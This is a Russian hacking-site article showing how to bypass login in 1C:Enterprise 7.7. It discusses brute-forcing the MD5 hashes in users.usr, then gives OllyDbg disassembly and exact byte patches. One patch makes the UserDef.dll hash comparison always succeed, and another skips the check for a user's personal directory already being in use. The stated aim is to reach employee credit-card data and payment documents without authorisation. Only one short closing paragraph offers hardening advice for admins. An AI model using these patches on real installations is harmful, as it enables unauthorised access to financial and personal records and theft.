V-zlom.ru » Статьи » 1C: Получаем доступ к бд с максимальными привилегиями

1C: Получаем доступ к бд с максимальными привилегиями

Мой опыт 1С-ника показывает, что злоумышленники в основном пытаются ломать файл users.usr. Он находится по адресу: каталог_с_базой\usrdef \users.usr и хранит информацию о пользователях и их паролях. Пароли хранятся в виде хэшей: MD5(pass), поэтому просмотреть пароль просто так не выйдет. Существуют брутфорсеры MD5 (именно для 1С), а также есть возможность скинуть пароли всех пользователей. Однако сброс всех паролей мгновенно вызовет подозрение админов или бухгалтеров. Я протестировал такой брутфорсер и пришел к выводу, что числовые пароли взламываются очень быстро, но достаточно подключить символы и ограничить длину 8-10 символами — и уже становится невесело, так как дело попахивает долгими часами перебора. Ты скажешь: «Да бухгалтеры для пароля всегда свой год рождения пишут!» В чем-то правильно, но… Последние тенденции в корпорациях и даже мелком бизнесе показывают стремление защитить информацию (данные о клиентах, поставщиках, оборотах предприятия) от кражи и от глаз весьма заинтересованных конкурентов. В борьбе за сохранность данных создаются службы безопасности, вводятся административные меры наказания, минимальные требования к длине пароля и т.п. К примеру, в фирме, где работал я, мы сами задавали пароли и ставили вот такие условия:

Длина = восемь символов

Цифры + буквы + одна заглавная в английской раскладке.

[для промежуточного вывода] могу сказать, что атака на users.usr имеет несколько недостатков:

1 ПОДБОР ПАРОЛЯ ПЕРЕБОРОМ НЕ ВСЕГДА ОСУЩЕСТВИМ В КОРОТКИЕ СРОКИ, ОСОБЕННО ЕСЛИ ОСТАЛОСЬ РАБОТАТЬ ДВЕ НЕДЕЛИ :).

2 ВРЯД ЛИ ПОЛУЧИТСЯ УДАЛИТЬ ФАЙЛ. ЛЮБОЙ НОРМАЛЬНЫЙ АДМИН ПОСТАВИТ НА ЭТОТ ФАЙЛ АТРИБУТ READONLY (ТОЛЬКО ДЛЯ ЧТЕНИЯ). И ЕСТЕСТВЕННО, ПОДМЕНИТЬ ХЭШ-СУММУ ТОЖЕ НЕ ПОЛУЧИТСЯ.

Ну что ж, придется поступить хитрым образом. Учитывая свой опыт реверсера, я решил поковыряться в 1CV7s.exe (25-й релиз). Как выяснилось, не зря. Буква S в конце имени файла указывает на SQL-версию, локальную и сетевую. Мой выбор пал именно на нее, одну из самых распространенных, неслучайно: она превосходно работает на Терминале, поддерживает как DBF, так и SQL-базы, освобождает от головной боли насчет электронных ключей (кто видел голубые экраны при установке эмуляторов хаспов, тот поймет).

[перейдем к практике] Представим ситуацию, когда есть база данных по сотрудникам, помимо личных данных в ней хранится информация по кредитным картам. Конечно, мы не допущены к справочнику доступа, и, соответственно, нет доступа к документам на перевод/начисление денежных средств. Пора получить его. Первое, что приходит в голову, — убрать проверку пароля и входить под любым пользователем.

Запускаем отладчик (я использовал OllyDbg), в списке выбираем нужную базу и пытаемся авторизоваться как «Админ» (рис. 1). Получаем сообщение об ошибке (рис. 2.).

Пойдем по классической схеме, ставим брэйкпоинт на MessageBoxA (с учетом регистра): BP MessageBoxA.

Теперь на кнопку ОК, и мы вывалились в:

77D2BC33 > 833D E>CMP [DWORD DS:77D5F2E4],0

77D2BC3A 0F85 F>JNZ USER32.77D3C23E

 

Это системная библиотека USER32.dll, а защита находится в коде самой программы (долго прыгать по библиотекам сейчас не время, так как лишние мучения в 1С’ке, многослойном пироге с кучей используемых библиотек, ни к чему). Мои исследования привели к библиотеке: UserDef.dll. Имя Dll совпадает с названием каталога, в котором хранятся пароли пользователей. Вполне логично, что разработчики вынесли авторизацию пользователей именно в нее. Итак, <Ctrl>+<F9>, закроем сообщение об ошибке ОК. Теперь ставим бряк на секцию кода dll, чтобы не прыгать по библиотекам и не терять свое время. Теперь <F9> — и мы находимся тут:

260296AB E8 C4B>CALL <JMP.&MFC42.#1199> ; Вывод сообщения об ошибке

260296B0 68 2CF>PUSH USERDEF.2604F62C

260296B5 8BCF MOV ECX,EDI

Поднимемся чуть выше:

26029691 50 PUSH EAX ; хэш от настоящего пароля

26029692 51 PUSH ECX ; хэш от пароля, введенного нами

26029693 FF15 2>CALL [DWORD DS:<&MSVCRT._mbscmp>] ; msvcrt._mbscmp ; эта процедура сравнивает две строки и возвращает в регистре EAX ноль, если строки равны, и -1, если строки различаются

26029699 83C4 0>ADD ESP,8

2602969C 85C0 TEST EAX,EAX

2602969E 5D POP EBP

2602969F 5B POP EBX

260296A0 74 23 JE SHORT USERDEF.260296C5 ; если строки равны, продолжаем работу

Итак, мы можем внести изменения в работу этого участка и заставить 1С думать, что ты вводишь пароль. Один из рецептов — передать в процедуру сравнения указатели на одну и ту же строку:

26029691 50 PUSH EAX ; хэш от настоящего пароля

26029692 50 PUSH EAX ; хэш от настоящего пароля

26029693 FF15 2>CALL [DWORD DS:<&MSVCRT._mbscmp>]

Теперь функция всегда будет возвращать верное значение и мы сможем зайти под любым пользователем. После замены 1С запустит тебя в базу без нареканий. Однако, например, в моей фирме для каждого пользователя заведен специальный каталог, и если пользователь с таким же именем сидит в базе, то мы увидим табличку с рисунка 3.

[использование личных каталогов] — достаточно распространенное явление. Значит, мы должны убрать текущую проверку. Действуем по указанной выше схеме (бряк на MessageBoxA и несколько раз на <Ctrl>+<F9>, пока не окажешься в самом 1Cv7S.exe).

00409075 . E8 6C>CALL <JMP.&MFC42.#800>

0040907A . 8A45 >MOV AL,[BYTE SS:EBP-61]

0040907D . 84C0 TEST AL,AL

0040907F . 74 13 JE SHORT 1CV7s.00409094 ; если каталог не занят, прыгаем

00409081 . 6A FF PUSH -1

00409083 . 6A 10 PUSH 10

00409085 . 68 6C>PUSH 706C

0040908A . E8 2D>CALL <JMP.&MFC42.#1199> вывод сообщения об ошибке

0040908F . E9 84>JMP 1CV7s.0040AF18

Естественно, поменяв переход, мы пропускаем проверку и оказываемся в базе.

Теперь можно вытворять в базе что угодно, если, конечно, права пользователя позволяют.

[в этой статье] я рассмотрел версию 1С 7.7. Почему не восьмерку? Во-первых, 7.7 до сих пор очень распространена, 95% моих знакомых пользуются именно ей. Во-вторых, восьмерка не менее дырявая, чем 7.7. К такому выводу я пришел посмотрев на подход 1С к безопасности продуктов. Чуть позже проверим еще раз. Администраторам же советую использовать терминал с отключенным маппингом дисков или, при работе в обычном сетевом режиме, запускать 1С с правами другого пользователя (тогда не получится пропатчить чужой процесс), а на исполняемые файлы 1С однозначно ставить атрибут ReadOnly. Только не на всю папку, иначе она примется падать при запуске.

WARNING

Если Вы не можете скачать файл так как не зарегистрированы, можете войти под общим аккаунтом:

Login:login

Пароль:password

Это сделано для облегчения использования сайта

  • Автор: kennen
  • Комментарии: 0
  • Просмотры: 1132
0

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!